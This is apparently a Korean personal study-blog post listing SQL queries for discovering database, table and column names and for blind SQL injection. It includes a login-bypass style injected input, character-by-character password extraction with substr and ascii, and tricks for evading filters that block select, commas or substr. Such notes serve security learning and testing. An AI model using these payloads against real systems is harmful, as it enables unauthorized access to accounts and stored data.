보안 공부/해킹기법

SQL DB 정보 알아내는 구문 정리

sh1256 2022. 1. 17. 13:19
728x90

1. DB 알아내는 법. 

select database()

 

2. table명 알아내는 법

SELECT table_name from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'DB명'

-table이 여러개일 때는 한 줄로 출력하기 위해 table_name 대신 group_concat(table_name)사용

-substr

 

 

3. column명 알아내는 법 

SELECT column_name from INFORMATION_SCHEMA.COLUMNS WHERE table_name='테이블명'

-column이 여러개일 때는 한 줄로 출력하기 위해 column_name 대신 group_concat(column_name)사용

 

 

 

++<select, ","가 막혔을 때>

procedure analyse(); 사용 --> DB명.TABLE명.COLUMN명순으로 데이터 출력

 

 

 

<BLIND SQL INJECTION>

ex) select data from tawhere id='admin' and pw='입력값'

입력: 1' or substr('password', 1, 1)="알파벳" 

--> 참이면 그 pw의 첫 자리 숫자는 알파벳. 여기서 password는 컬럼명(목록은 1로 가정).

알고자 하는 것은 password의 값

 


table1

select substr((select id from table1 limit 1,1),3,1);

--> 'e' 출력

select substr((select data from table1 where id='admin'), 1, 1);

--> 's' 출력

 

 

select data from table1 where id = 'admin' and pw='idontknow' or substr(pw, 1, 1)='1';

(id='admin'일 때 pw의 1번째에서 1번째 글자가 1이다.)

--> 'secret data' 출력 (참 판정)

select data from table1 where id = 'admin' and pw='idontknow' or substr(pw, 2, 1)='2';

--> 'secret data' 출력 (참 판정)


 

SELECT ascii(substr("hello", 2, 1));
hello의 2째글자부터 1개인 글자인 'e'에 해당하는 ascii값을 출력

 

 

substr 이 막혔을 때:

substr('password',N,1)==right(left('password', N,),1) ----> N번째 문자  사용